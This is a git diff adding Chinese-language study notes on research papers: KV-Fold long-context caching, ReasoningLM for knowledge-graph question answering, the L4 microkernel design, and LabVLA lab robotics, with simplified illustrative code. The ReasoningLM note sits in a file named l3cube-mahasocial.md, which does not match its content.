+- **LatentMAS（KV 拼接原语）**：多 agent 之间传 KV；KV-Fold 是**单模型、单任务**的长上下文 fold。  
+- **StreamingLLM**：bounded memory，牺牲远程检索；KV-Fold 反方向 trade-off。  
+- **REFORM / LESS / 级联 KV**：也做 chunk + cache，但常含 **压缩、重算、跨层 embedding**；KV-Fold **拒绝压缩**。  
+- **RingAttention / 序列并行**：解决单次 forward 的算力分布；KV-Fold 是 **推理协议**，可 orthogonal 组合。
+
+---
+
+## 局限与开放问题
+
+论文自述：对 plateau 的解释是 **descriptive**，未证明 fold 动力学收敛或刻画 fixed point。  
+未给出生产级开源实现（截至笔记写作时以 arXiv 2605.12471 为准）。  
+Drift 存在但 NIAH 仍 100%——对 **开放式长文摘要、多跳推理** 的影响需更多 benchmark。  
+Cache 线性增长 → 更长上下文（1M+）仍需与 **KV 量化、offload、稀疏 attention** 等组合。
+
+---
+
+## 自测题
+
+1. KV-Fold 的 accumulator 是什么？与 RNN hidden state 有何异同？  
+2. 为什么 position id 必须跨 chunk 连续？若每个 chunk 从 0 重计会怎样？  
+3. 解释 drift plateau：为何不是「误差随 depth 线性累积」？  
+4. 在 40GB 卡上，KV-Fold vs StreamingLLM，你如何选择？  
+5. `foldl(F_θ, (∅,∅), chunks)` 中，若把 append 改成 top-k 驱逐，协议还叫 KV-Fold 吗？
+
+<details>
+<summary>参考答案（先自己想再点开）</summary>
+
+1. Accumulator 是各层拼接的 KV cache；RNN hidden 固定维且通常有损压缩，KV-Fold state 随序列线性增长、保留 token 级 addressable 表示。  
+2. RoPE 依赖绝对位置；重计会破坏与训练时「长序列一次编码」的位置对齐，attention 模式错位。  
+3. 前几步切换到 slightly shifted attention regime 后，同一 `F_θ` 再应用不再显著改变预测；fp32 消融支持「结构性」而非纯数值累积。  
+4. 要 exact retrieval / 合规审计 → KV-Fold；要 bounded memory、只关心局部上下文 → Streaming；显存介于两者之间可考虑压缩 KV 方法。  
+5. 不算；KV-Fold 定义包含 **无压缩、原样 concat** 的 one-step update。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2605.12471](https://arxiv.org/abs/2605.12471)（HTML 版便于读 Fig.1–3）  
+- 前置原语：LatentMAS — KV cache 作为跨 pass prefix  
+- 对照基线：StreamingLLM（bounded cache + attention sinks）  
+- 评估数据：PG-19 长文、needle-in-a-haystack / RULER 类长上下文探针  
+
+---
+
+## 一句话总结
+
+**KV-Fold 把 KV cache 当成 `foldl` 的 accumulator：chunk 间原样拼接、位置连续、不训练不压缩——用线性显存和多次 forward，换 frozen Transformer 在 128K 级上下文上的稳定递推与精确远程检索。**
diff --git a/src/content/docs/papers/kvm-2007.md b/src/content/docs/papers/kvm-2007.md
index b8d18a5cf..e3586be10 100644
--- a/src/content/docs/papers/kvm-2007.md
+++ b/src/content/docs/papers/kvm-2007.md
@@ -157,6 +157,7 @@ AWS 的 Firecracker（2018）是"砍到极致的 KVM 用户态"：
 - [[esx-memory-2002]] —— ESX Memory 2002 — 让一台机器假装比自己更大的四个魔术
 - [[firecracker-2020]] —— Firecracker 2020 — 给 serverless 量身定做的极简 microVM
 - [[haven-2014]] —— Haven — 把整个应用装进 CPU 黑盒，让云服务商也看不见
+- [[mach-rashid-1986]] —— Mach 1986 — 给 UNIX 换一块能跨机器生长的内核地基
 - [[mach-vm-1987]] —— Mach VM — 把虚拟内存抽象成"对象"，与硬件解耦
 - [[soltesz-2007]] —— Soltesz 2007 — 容器：比虚拟机轻一档的隔离方案
 - [[xen-2003]] —— Xen 2003 — 让操作系统配合虚拟化，性能直接接近原生
diff --git a/src/content/docs/papers/l3cube-mahasocial.md b/src/content/docs/papers/l3cube-mahasocial.md
new file mode 100644
index 000000000..76bff128f
--- /dev/null
+++ b/src/content/docs/papers/l3cube-mahasocial.md
@@ -0,0 +1,333 @@
+---
+title: ReasoningLM: Enabling Structural Subgraph Reasoning in Pre-trained Language Models for Question Answering over Knowledge Graph
+来源: https://arxiv.org/abs/2401.00158
+日期: 2026-06-13
+分类: 其他
+子分类: 知识图谱
+provenance: pipeline-v3
+---
+
+# ReasoningLM：让语言模型直接"看懂"知识图谱的推理路径
+
+## 一、从日常场景说起：图书馆找书
+
+假设你在一个巨大的图书馆（这就是知识图谱）里找一本书。图书馆没有分类目录系统，但每个书架上都贴着标签，告诉你"这本书讲了什么"、"作者是谁"、"引用了哪些其他书"。
+
+传统做法是请两个人合作：
+
+- **语言专家**（语言模型 PLM）负责读懂你的问题："我想找讲量子计算的书"
+- **地图专家**（图神经网络 GNN）负责在图书馆里走，沿着标签路径找到相关的书
+
+两个人各自厉害，但沟通效率很低——语言专家看不懂地图专家的笔记格式，地图专家也听不懂语言专家的口头描述。这就是现有 KGQA（知识图谱问答）系统的问题：PLM 和 GNN 两个模块架构不同，知识共享困难。
+
+ReasoningLM 的思路很直接：**为什么不培养一个既能读懂问题、又能直接在图书馆里走路径的全能型人才？**
+
+这就是 ReasoningLM 要做的事——让一个预训练语言模型自己学会知识图谱的子图推理。
+
+## 二、核心概念：知识图谱问答（KGQA）
+
+知识图谱长这样：一堆"实体-关系-实体"的三元组，像这样：
+
+```
+(周杰伦, 毕业于, 台大音乐系)
+(台大音乐系, 隶属于, 台湾大学)
+(台湾大学, 位于, 台北)
+```
+
+KGQA 就是：给你一个自然语言问题，从图谱中找到正确答案。
+
+比如问题："周杰伦毕业于哪所大学？"
+
+推理路径是：
+```
+周杰伦 -> 毕业于 -> 台大音乐系 -> 隶属于 -> 台湾大学（答案）
+```
+
+这是一条 2 跳（2-hop）的推理路径。问题越复杂，路径越长，从 3 跳到 4 跳都很常见。
+
+## 三、ReasoningLM 的三个核心创新
+
+### 3.1 子图感知自注意力机制（Subgraph-aware Self-attention）
+
+这是整个论文最核心的想法。
+
+标准的 Transformer 自注意力机制中，每个 token 可以和序列中**任何**其他 token 交互。但在知识图谱推理中，只有图谱中有连接关系的实体/关系才应该互相影响。
+
+ReasoningLM 的做法：给自注意力加一个"结构掩码"。
+
+```python
+def subgraph_masked_attention(Q, K, V, subgraph_edges):
+    """
+    Q, K, V: 标准自注意力的查询、键、值矩阵，形状 (seq_len, d_model)
+    subgraph_edges: 子图中实际存在的边集合，比如 {(0,1), (1,2), (2,3)}
+    
+    返回: 加了结构约束的注意力输出
+    """
+    seq_len = Q.shape[0]
+    
+    # 步骤1：计算标准注意力分数
+    attention_scores = torch.matmul(Q, K.transpose(-2, -1)) / (d_model ** 0.5)
+    
+    # 步骤2：构建结构掩码矩阵
+    mask = torch.full((seq_len, seq_len), float('-inf'))
+    
+    for i in range(seq_len):
+        for j in range(seq_len):
+            # 如果两个 token 在子图中是同一条边上的邻居，允许注意力
+            # 如果两个 token 都在问题文本中（都是 question tokens），允许注意力
+            if (i, j) in subgraph_edges or (j, i) in subgraph_edges:
+                mask[i, j] = 0.0  # 正常注意力分数
+            elif is_question_token(i) and is_question_token(j):
+                mask[i, j] = 0.0  # 问题内部的 token 可以自由交互
+            # 其他情况保持 -inf，softmax 后变成 0
+    
+    # 步骤3：加掩码后做 softmax
+    masked_scores = attention_scores + mask  # -inf 的位置变成 -inf
+    attention_weights = torch.softmax(masked_scores, dim=-1)
+    
+    # 步骤4：加权求和
+    output = torch.matmul(attention_weights, V)
+    
+    return output
+```
+
+**类比**：这就像在图书馆里，你只能"看到"和你当前位置有标签路径相连的那些书架，其他书架对你来说是完全"透明"不存在的。
+
+数学上，原始注意力矩阵 A 加上掩码矩阵 M：
+
+```
+Attn(Q, K, V) = softmax(A + M) · V
+```
+
+M 中，不允许交互的位置是 -inf，softmax 后对应权重变为 0。
+
+### 3.2 输入格式设计
+
+ReasoningLM 把问题和子图拼成一条统一的序列：
+
+```
+[CLS] [问题文本] [SEP] [实体1] [关系1] [实体2] [关系2] [实体3] ... [SEP] [候选答案实体列表]
+```
+
+比如：
+
+```
+[CLS] 周杰伦毕业于哪所大学 [SEP] 周杰伦 毕业于 台大音乐系 隶属于 台湾大学 [SEP] 台湾大学 台大 台大医学院 ...
+```
+
+这样，语言模型既能理解问题语义，又能在一个序列里看到完整的子图结构。
+
+### 3.3 适配微调（Adaptation Tuning）
+
+光有结构还不够，模型需要"学习"怎么用这种输入格式。ReasoningLM 用了两阶段训练：
+
+**第一阶段：适配微调**——用 20,000 个自动合成的数据让模型适应子图推理格式
+
+数据来源是 Wikidata，具体做法：
+
+1. 从热门实体出发，在图谱上随机游走，走不超过 4 跳，终点就是答案
+2. 以起点实体为中心，抽取包含这条推理路径的子图
+3. 用两种方法生成问题：规则模板 + ChatGPT 合成（约 15 美元，获得 20,000 条多样化问题）
+
+```python
+import random
+
+def generate_training_data(wikidata_kg, num_samples=20000):
+    """
+    模拟 ReasoningLM 的训练数据生成流程
+    
+    wikidata_kg: 知识图谱，结构为 dict: {实体: [(关系, 相邻实体), ...]}
+    """
+    training_data = []
+    
+    # 1. 选择热门实体作为起点（主题实体）
+    topic_entities = get_popular_entities(wikidata_kg)
+    
+    for _ in range(num_samples):
+        # 2. 随机选一个起点
+        start_entity = random.choice(topic_entities)
+        
+        # 3. 从起点随机游走，最多 4 跳
+        reasoning_path = [start_entity]
+        current = start_entity
+        for hop in range(random.randint(1, 4)):
+            neighbors = wikidata_kg.get(current, [])
+            if not neighbors:
+                break
+            relation, next_entity = random.choice(neighbors)
+            reasoning_path.append(next_entity)
+            current = next_entity
+        
+        # 4. 终点就是答案
+        answer_entity = reasoning_path[-1]
+        
+        # 5. 围绕起点抽取子图，确保推理路径上的节点和关系都被包含
+        subgraph = extract_subgraph(wikidata_kg, start_entity, include_path=reasoning_path)
+        
+        # 6. 用规则或 ChatGPT 生成问题
+        question = synthesize_question(start_entity, reasoning_path)
+        
+        # 7. 组装训练样本
+        training_data.append({
+            "question": question,          # "周杰伦毕业于哪所大学？"
+            "subgraph": subgraph,          # 子图三元组列表
+            "topic_entity": start_entity,  # "周杰伦"
+            "reasoning_path": reasoning_path,
+            "answer_entity": answer_entity, # "台湾大学"
+        })
+    
+    return training_data
+```
+
+**第二阶段：参数高效微调（PET）**——在下游任务上，只微调 Adapter 参数，冻结其他参数
+
+- **子图检索子任务**：让模型学会判断问题和哪些关系相关，逐步扩展子图
+- **答案推理子任务**：在已检索的子图上，预测哪个实体是答案
+
+答案预测的-loss 用 KL 散度：
+
+```
+L_at = D_KL(s || s*)
+```
+
+其中 s 是模型对每个实体的得分概率分布，s* 是真实答案的 one-hot 分布。只计算实体的 loss，关系和问题词不算。
+
+## 四、完整示例：从问题到答案
+
+下面是一个完整的推理流程模拟：
+
+```python
+class ReasoningLM:
+    """
+    ReasoningLM 简化实现
+    
+    核心思想：把知识图谱的子图和问题合并成一条序列，
+    用结构感知的自注意力让模型在理解问题的同时进行图谱推理。
+    """
+    
+    def __init__(self, plm_model, max_seq_len=512):
+        self.plm = plm_model
+        self.max_seq_len = max_seq_len
+        self.adapter = Adapter()  # 轻量级 Adapter，下游微调时用
+    
+    def build_input_sequence(self, question, subgraph, candidate_entities):
+        """
+        构建统一输入序列
+        
+        Args:
+            question: 自然语言问题，如 "周杰伦毕业于哪所大学？"
+            subgraph: 子图三元组列表，如 [("周杰伦", "毕业于", "台大音乐系"), ...]
+            candidate_entities: 候选答案实体列表
+        
+        Returns:
+            构建好的输入序列字符串
+        """
+        parts = ["[CLS]"]
+        
+        # 添加问题
+        parts.append(question)
+        parts.append("[SEP]")
+        
+        # 添加子图三元组，按顺序拼接
+        for head, relation, tail in subgraph:
+            parts.append(head)
+            parts.append(relation)
+            parts.append(tail)
+        parts.append("[SEP]")
+        
+        # 添加候选答案实体
+        for entity in candidate_entities:
+            parts.append(entity)
+        
+        return " ".join(parts)
+    
+    def subgraph_masked_attention(self, hidden_states, subgraph_edges, question_mask):
+        """
+        子图感知自注意力
+        
+        Args:
+            hidden_states: 输入嵌入，形状 (seq_len, d_model)
+            subgraph_edges: 子图中的边集合，如 {0,1}, {1,2}, ...
+            question_mask: 问题部分 token 的布尔掩码
+        
+        Returns:
+            结构约束后的隐藏状态
+        """
+        seq_len = hidden_states.shape[0]
+        d_model = hidden_states.shape[-1]
+        
+        # 计算注意力分数
+        Q = hidden_states @ self.W_Q
+        K = hidden_states @ self.W_K
+        V = hidden_states @ self.W_V
+        
+        scores = torch.matmul(Q, K.transpose(-2, -1)) / (d_model ** 0.5)
+        
+        # 构建掩码：只有子图中有边的位置 + 问题内部可以交互
+        mask = torch.full((seq_len, seq_len), float('-inf'))
+        
+        for i in range(seq_len):
+            for j in range(seq_len):
+                # 子图中的边
+                if (i, j) in subgraph_edges or (j, i) in subgraph_edges:
+                    mask[i, j] = 0.0
+                # 问题内部的 token 可以互相注意力
+                elif question_mask[i] and question_mask[j]:
+                    mask[i, j] = 0.0
+        
+        # 加掩码并 softmax
+        masked_scores = scores + mask
+        attn_weights = torch.softmax(masked_scores, dim=-1)
+        
+        return torch.matmul(attn_weights, V)
+    
+    def predict_answer(self, question, subgraph, candidate_entities):
+        """
+        端到端答案预测
+        
+        Args:
+            question: 自然语言问题
+            subgraph: 子图三元组列表
+            candidate_entities: 候选答案实体列表
+        
+        Returns:
+            每个候选实体的答案得分概率
+        """
+        # 第1步：构建输入序列
+        input_seq = self.build_input_sequence(question, subgraph, candidate_entities)
+        
+        # 第2步：通过 PLM + 自适应注意力
+        # (实际实现中会调用 PLM 的 forward，并在每一层插入 masked attention)
+        hidden_states = self.plm(input_seq)  # (seq_len, d_model)
+        
+        # 第3步：取 [CLS] 位置的隐藏状态，通过线性层 + softmax 得到答案概率
+        cls_state = hidden_states[0]  # [CLS] token 的表示
+        logits = self.prediction_head(cls_state)
+        scores = torch.softmax(logits, dim=-1)
+        
+        return scores
+```
+
+## 五、为什么这个方法有效？
+
+用第一性原理来想：
+
+1. **问题本质**：KGQA 需要同时做两件事——理解自然语言语义 + 在图谱上做多跳推理。现有方法用两个模块各做一半，但模块间的信息传递是有损的。
+
+2. **直觉**：如果让同一个模型同时做这两件事，用结构化的注意力机制"引导"模型只看图谱中有意义的连接，模型就能在同一个表征空间里把语义和结构信息深度融合。
+
+3. **结果**：实验显示 ReasoningLM 在多个基准测试（WebQSP、CWQ、MQA）上超越了当时的 SOTA，而且用的参数量更少、训练数据更少。
+
+## 六、关键数字
+
+- 适配微调数据：**20,000** 个子图 + 合成问题
+- 合成成本：约 **15 美元**（用 ChatGPT）
+- 推理路径长度：最多 **4 跳**
+- 发表会议：**EMNLP 2023 Main**
+- 代码开源：https://github.com/RUCAIBox/ReasoningLM
+
+## 七、总结
+
+ReasoningLM 的核心贡献可以浓缩成一句话：**用结构感知的自注意力机制，让一个预训练语言模型直接学会知识图谱的子图推理，不再需要外挂 GNN 模块。**
+
+它解决的根本问题是：当我们需要模型同时理解语义和结构时，分开建模往往不如统一建模效果好。这个思路也影响了后来很多工作。
diff --git a/src/content/docs/papers/l4-microkernel-1995.md b/src/content/docs/papers/l4-microkernel-1995.md
new file mode 100644
index 000000000..c3b8362d9
--- /dev/null
+++ b/src/content/docs/papers/l4-microkernel-1995.md
@@ -0,0 +1,232 @@
+---
+title: On Micro-Kernel Construction (L4) — 微内核该怎么「造」
+来源: https://os.itec.kit.edu/downloads/sosp95-mkernel-construction.pdf
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一栋**大型联合办公楼**：
+
+- **宏内核**（传统 Linux、早期 UNIX）像一家什么都自己干的物业总控：保安、保洁、快递、会议室预订、网络运维、门禁发卡全挤在一间值班室。楼里任何小事都要敲总控室的门；门一开一关本身就很贵，值班室人越多，互相挡路越严重。
+- **微内核**的思路是：值班室只保留**绝对少不了**的几件事——谁能在哪块区域活动、怎么把纸条递给隔壁工位、CPU 时间怎么轮转。文件系统、网络栈、设备驱动全部交给楼里的**独立服务商**（用户态 server），各管各的，崩了一个不至于拖垮整栋楼。
+
+到 1995 年，微内核已经折腾了二十多年（Brinch Hansen、HYDRA、CMU Mach……），但口碑很差。大家普遍相信：
+
+1. 微内核**天生慢**——用户态和内核态来回切、地址空间来回换，IPC 开销大。
+2. 微内核**不够灵活**——接口太瘦，复杂系统还是得把功能塞回内核。
+
+Jochen Liedtke 在 SOSP '95 发表的 *On Micro-Kernel Construction*，正是对着这两句「常识」下刀。论文不只是一份 L4 说明书，更是一份**微内核概念清单 + 性能辩护书 + 可移植性反论**：慢不是微内核思想的罪，而是 Mach 等实现**内核塞太满、写太糙**的罪。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | Jochen Liedtke（GMD，德国国家信息技术研究中心） |
+| 场合 | SOSP '95，Copper Mountain Resort, Colorado |
+| 页码 | 237–250 |
+| DOI | [10.1145/224056.224075](https://doi.org/10.1145/224056.224075) |
+| 前身 | L3 微内核（1993 年已展示比 Mach 快一个数量级的 IPC） |
+| 核心论点 | 低效与僵化来自**过载的内核**和**不当实现**，而非微内核范式本身 |
+
+论文结构：
+
+1. **§2 概念**：从功能需求推导最小原语（地址空间、线程、IPC、唯一 ID）
+2. **§3 灵活性**：分页、驱动、Unix 仿真、多媒体分配都可用户态堆叠
+3. **§4 性能**：拆解 kernel-user 切换、地址空间切换、IPC 的周期账
+4. **§5 可移植性**：微内核**本身不该**无脑跨 CPU 移植，但整系统因 server 可移植而更易迁移
+
+## 为什么值得读
+
+| 今天的现象 | 与这篇论文的关系 |
+|------------|------------------|
+| seL4 形式化验证 | 最小 TCB 来自本文的最小性原则 |
+| Tanenbaum vs Linus 论战 | Liedtke 用 L4 数据反驳「微内核必然慢」 |
+| macOS XNU 的 `mach_msg` | Mach 消息遗产；L4 是「Mach 太慢」后的极简矫正 |
+| Fuchsia Zircon、QNX | 同谱系：消息 + 能力 + 用户态驱动 |
+| L4Linux ~5% 性能损失 vs MkLinux 数倍惩罚 | 根子在 µ-kernel 路径是否够短 |
+
+## 核心概念一：最小性原则
+
+> 一个概念只有在其**移出内核、允许竞争实现**会导致**无法实现系统必需功能**时，才允许留在 µ-kernel 里。
+
+系统假设：页式虚存 + 需要保护（不可信/交互式应用）。由此推出两条安全原则：
+
+- **独立性**：子系统 S 能给保证，不被其它子系统 S' 干扰或破坏
+- **完整性**：S₁ 能与 S₂ 建立**不被 S' 窃听或篡改**的通信通道
+
+**必须留在内核的**（论文 §2）：
+
+| 机制 | 理由 |
+|------|------|
+| Grant / Map / Flush | 在保护边界内递归构造地址空间 |
+| 线程 | 换地址空间必须由内核仲裁 |
+| 同步 IPC | 跨空间通信 + Grant/Map 的「对方同意」 |
+| 唯一 UID | 本地通信指定目标并验证来源 |
+
+**刻意移出的**：通用分页策略、文件系统、调度细节、设备驱动逻辑、Unix 系统调用表。
+
+## 核心概念二：地址空间三原语
+
+启动时存在特殊地址空间 **σ₀**（近似物理内存），由 S₀ 控制；其它空间起初为空，靠三原语「长出来」：
+
+| 原语 | 行为 | 日常类比 |
+|------|------|----------|
+| **Grant** | 页从授予方**移除**，进入接收方（双方同意） | 把办公室钥匙交给下家，自己不再能进 |
+| **Map** | 页同时出现在双方（双方同意） | 同一房间加一把锁，两家都能用 |
+| **Flush** | 页在发起方仍可见，撤销所有经自己转手的下游映射 | 房东收回转租副本，自己房间不动 |
+
+约束：Grant/Map 只能操作**自己已能访问**的页；Flush 不需逐家同意，因接收时已隐含接受「可能被 flush」。
+
+I/O 端口也可视作特殊「页」——**设备权限**交给用户态 memory manager，而非写死在特权驱动路径。
+
+### 代码示例 1：地址空间原语（教学伪代码）
+
+```c
+typedef struct {
+    PageDesc table[VIRTUAL_PAGES];
+} AddressSpace;
+
+int map_page(AddressSpace *mapper, vpage_t v_src,
+             AddressSpace *recipient, vpage_t v_dst,
+             AccessRights rights) {
+    if (!page_accessible(mapper, v_src)) return -EPERM;
+    if (!recipient_accepts(recipient, v_dst, rights)) return -EAGAIN;
+    return install_mapping(recipient, v_dst, resolve(mapper, v_src), rights);
+}
+
+int grant_page(AddressSpace *granter, vpage_t v_src,
+               AddressSpace *grantee, vpage_t v_dst) {
+    if (!page_accessible(granter, v_src)) return -EPERM;
+    if (!grantee_accepts(grantee, v_dst)) return -EAGAIN;
+    PageFrame pf = detach(granter, v_src);
+    return attach(grantee, v_dst, pf);
+}
+
+int flush_page(AddressSpace *owner, vpage_t v) {
+    if (!page_owned(owner, v)) return -EPERM;
+    return revoke_downstream_mappings(owner, v);
+}
+```
+
+论文 Figure 1 的**堆叠 pager**：统一文件系统 F 把 f₁ 的一页 grant 给用户 A，F 不长期占页——若用 Map，F 要复制全部簿记且地址空间可能被撑爆。
+
+## 核心概念三：线程与同步 IPC
+
+**线程** = 在某地址空间里跑的活动（PC、栈、状态、当前地址空间 ID）。**IPC** 采用**同步会合式**消息：
+
+- 发送方决定发什么；接收方决定是否收、如何解释
+- 内核**不必维护消息队列**（短消息常走寄存器）
+
+L3 在 486/50MHz 上短 IPC 约 **10µs（~250 cycles）**；同期 Mach 同场景约 **190µs**。L3 进内核额外开销可低至 **15 cycles**；Mach `get_self_thread` 类调用约 **900 cycles**，其中 x86 进/出内核硬下限仅 **~107 cycles**，其余是 Mach 自身路径。
+
+### 代码示例 2：中断当作「硬件线程发来的空 IPC」
+
+```c
+void nic_driver_thread(void) {
+    for (;;) {
+        ThreadId sender;
+        Message msg = wait_ipc(&sender);
+
+        if (sender == MY_NIC_IRQ_THREAD) {
+            dma_ring_refill();
+            mmio_write(NIC_REG_ACK, 1);
+        } else if (sender == CLIENT_PORT) {
+            handle_client_request(&msg);
+        }
+    }
+}
+```
+
+内核只把硬件中断**翻译成** IPC；清中断、读端口的**语义**全在驱动里。若 CPU 清中断需特权操作，可在驱动下一次 IPC 时由内核隐式完成。
+
+### 代码示例 3：Unix server 式系统调用
+
+```c
+void client_read(int fd, void *buf, size_t n) {
+    Message req = { .tag = MSG_UNIX_READ, .words = { fd, n } };
+    Message reply;
+    ipc_call(unix_server_tid, &req, &reply);
+    memcpy(buf, reply.payload, reply.words[0]);
+}
+
+void unix_server_loop(void) {
+    for (;;) {
+        Message req, reply;
+        ThreadId client = ipc_receive(&req);
+        if (req.tag == MSG_UNIX_READ) {
+            reply.words[0] = vfs_read(req.words[0], reply.payload, req.words[1]);
+            ipc_reply(client, &reply);
+        }
+    }
+}
+```
+
+宏内核里 `read()` 是一条内核路径；微内核里是**会合式 IPC**——当内核路径从 900 cycles 压到百 cycle 级，这条账算得过。
+
+## 灵活性速写（§3）
+
+| 组件 | 实现方式 |
+|------|----------|
+| 物理内存管理 | 管理 σ₀ 的用户态 memory manager，可多层堆叠 |
+| 分页 / 文件映射 | Pager：grant/map/flush + IPC |
+| 设备驱动 | 普通进程 + MMIO 映射 + 中断 IPC |
+| Unix 兼容 | Unix server，syscall = IPC |
+| 远程通信 | 通信 server + 网卡驱动 |
+
+## 性能：拆解「微内核原罪」（§4）
+
+**Kernel-user 切换**：Ousterhout 测 `getpid` 约 20–30µs；Mach 486/50MHz 约 18µs ≈ 900 cycles，其中 ~107 cycles 是 x86 陷阱硬下限，**800+ cycles 是 Mach 纯开销**。L3 完整调用 123–180 cycles。
+
+**地址空间切换**：无标签 TLB 的 CPU 换页表可能很贵；Liedtke 在 Pentium 上用**段寄存器 multiplex** 把切换压到约 **15 cycles**。
+
+**IPC**：Table 2 一字节 echo RPC——L3 ~10µs，Mach 486 ~230µs。差距主要来自内核体量与会合式设计，非范式必然。
+
+**MCPI**：Chen & Bershad 曾指 Mach+Unix server 比 Ultrix MCPI 高；Liedtke 重读：差异多来自 **Mach 内核自身 cache miss**，非用户/系统冲突特有。瘦内核（L3 短 IPC <1KB）可缓解。
+
+## 可移植性悖论（§5）
+
+微内核**不应追求**一份源码跑遍所有 CPU——它像**手写优化的微码层**，换芯片要换算法（486→Pentium 地址空间实现大改）。但**上层 server** 用稳定 IPC 接口，整系统反而更易迁移。这是有意为之的诚实。
+
+## 与 Mach 1986 对照
+
+| 维度 | Mach | L4（本篇） |
+|------|------|------------|
+| 目标 | UNIX 兼容研究平台 | 证明微内核可又快又灵活 |
+| IPC | Port + 内核缓冲 | 同步会合，极简 trap |
+| 内存 | Memory object | Grant/Map/Flush 递归构造 |
+| 驱动 | 常进内核 | 一律用户态 + 中断 IPC |
+
+## 后世演化
+
+| 年代 | 里程碑 |
+|------|--------|
+| 1993 | L3：IPC 比 Mach 快数量级 |
+| 1995 | 本篇：概念最小集 + 性能辩护 |
+| 1997 | L4Linux：Linux personality 低开销 |
+| 2009+ | seL4：能力模型 + 形式化验证 |
+| 2016+ | Fuchsia Zircon 等商业化探索 |
+
+## 读完后应带走的五句话
+
+1. **微内核 = 最小可信计算基座**，每个原语都要能辩护「移出去会不会做不成系统」。
+2. **Grant/Map/Flush + 同步 IPC + UID** 足以搭出完整 OS。
+3. **慢**先查 cycle 账，别急着怪范式。
+4. **灵活**来自原语少且通用，而非内核预置一切策略。
+5. **内核不可移植是特性**；server 生态才可移植。
+
+## 延伸阅读
+
+- Liedtke (1993), *Improving IPC by Kernel Design*
+- Hartig et al., *The Performance of µ-Kernel-Based Systems*, SOSP 1997
+- Elphinstone & Heiser, *From L3 to seL4*, SOSP 2013
+- 本库：[Mach 1986](mach-rashid-1986.md)、[KVM 2007](kvm-2007.md)
+
+## 参考链接
+
+- 论文 PDF：https://os.itec.kit.edu/downloads/sosp95-mkernel-construction.pdf
+- ACM DOI：https://doi.org/10.1145/224056.224075
+- L4 家族文档：https://os.inf.tu-dresden.de/L4/doc.html
diff --git a/src/content/docs/papers/labvla.md b/src/content/docs/papers/labvla.md
new file mode 100644
index 000000000..e88833cd5
--- /dev/null
+++ b/src/content/docs/papers/labvla.md
@@ -0,0 +1,321 @@
+---
+title: LabVLA —— 把视觉-语言-动作模型种进科学实验室
+来源: https://arxiv.org/abs/2606.13578
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人
+provenance: pipeline-v3
+---
+
+# LabVLA：把视觉-语言-动作模型种进科学实验室
+
+## 零、一句话理解这篇论文
+
+LabVLA 解决的核心问题是：**AI 会读文献、会做假设、会排实验步骤，但走到实验台前就"瘫痪"了。**
+论文把 VLA（视觉-语言-动作模型）从家庭桌面场景拉到真实的科学实验室，让机器人能读懂实验方案并亲手执行。
+
+---
+
+## 一、先做一个日常类比
+
+想象一个刚毕业的化学系学生：
+
+- 他能读懂实验手册（语言理解 ✅）
+- 他能看到烧杯、温度计、移液器（视觉感知 ✅）
+- 但他从未亲手做过滴定实验（动作执行 ❌）
+
+这个学生就像目前最先进的 AI 模型。VLA 模型就是给这个"实习生"配了一副机械手臂，让它把纸面上的步骤变成物理动作。
+
+但实验室场景和家庭场景有三大差异：
+
+1. **物品更精细**：烧杯里的液体是透明的，机器人很难"看清"液位
+2. **步骤更严格**：实验室流程是固定的，不能像倒垃圾一样随便做
+3. **容错率极低**：把 10ml 溶液当成 100ml 会导致整个实验报废
+
+LabVLA 就是为了解决这三个痛点而生的。
+
+---
+
+## 二、核心概念拆解
+
+### 2.1 什么是 VLA 模型？
+
+VLA = Vision-Language-Action。它把三个能力融合在一个模型里：
+
+| 能力 | 类比 | 模型中的角色 |
+|------|------|-------------|
+| 视觉（Vision） | 用眼睛看烧杯里的颜色 | 多模态编码器 |
+| 语言（Language） | 读懂"取 5ml 盐酸"的指令 | 语言理解模块 |
+| 动作（Action） | 控制机械臂拧开瓶盖 | 动作输出模块 |
+
+传统机器人是"写代码 -> 按代码动作"。VLA 是"看场景 -> 理解指令 -> 自己决定动作"。
+
+### 2.2 论文的两个核心贡献
+
+**贡献一：RoboGenesis —— 实验数据的"工厂"**
+
+现实中的实验室操作数据几乎没有。没有数据，VLA 模型就学不会。
+
+RoboGenesis 是一个**基于仿真的数据生成引擎**。它的思路是：
+
+```
+原子技能（开瓶盖、倒液体、搅拌）
+    → 组合成实验工作流（16步化学实验）
+    → 加入随机化（摆位、光照、遮挡、视角）
+    → 用模拟器运行 → 过滤掉失败的
+    → 输出结构化的演示数据
+```
+
+它支持 16 种不同的机器人平台（13 种单臂 + 3 种双臂），包括 UR5e、Franka、Rizon 4、Festo 等。
+
+**贡献二：LabVLA 训练配方 —— FAST + Flow Matching**
+
+LabVLA 用了 Qwen3-VL-4B-Instruct 作为骨干模型，训练分两个阶段：
+
+```
+阶段 1（FAST 预训练）
+    把连续的机器人动作"离散化"成 token
+    让语言模型学会"预测动作 token"
+    （此时还不连 DiT 动作专家）
+
+阶段 2（Flow Matching 后训练）
+    挂载 DiT（Diffusion Transformer）动作专家
+    用 flow matching 学习"从噪声到动作"的映射
+    用 Knowledge Insulation 防止语言知识被动作训练冲掉
+```
+
+**Knowledge Insulation** 是一个巧妙的设计：在阶段 2 训练时，用一个 stop-gradient 挡住 flow loss 对 VLM 前缀的影响，让语言理解部分保持"纯净"。
+
+---
+
+## 三、关键技术细节
+
+### 3.1 FAST：动作 token 化
+
+连续的动作（比如机械臂的 7 个关节速度）不能被大语言模型直接处理。FAST 的作用就是把连续值变成离散的 token，就像把连续的汉字变成可以拼写的字符。
+
+```
+连续动作 [0.3, -0.1, 0.5, ...]
+    ↓ FAST VQ-VAE 量化
+离散 token 序列 [127, 48, 203, ...]
+    ↓ 变成语言模型的词汇
+模型可以像"写文章"一样"写动作"
+```
+
+### 3.2 Flow Matching vs 传统 Diffusion Policy
+
+| 方法 | 采样步数 | 延迟 | 适合实时控制？ |
+|------|---------|------|--------------|
+| 传统 Diffusion Policy | ~100 步 | 高 | 不推荐 |
+| LabVLA Flow Matching | N=10 步 | 低 | 适合 |
+
+Flow Matching 的核心优势是**确定性向量场**——采样时只需要 10 步欧拉积分就能得到可用轨迹，而传统扩散策略需要上百步。这对实验室这种需要闭环实时控制的场景至关重要。
+
+### 3.3 实验室能力分级
+
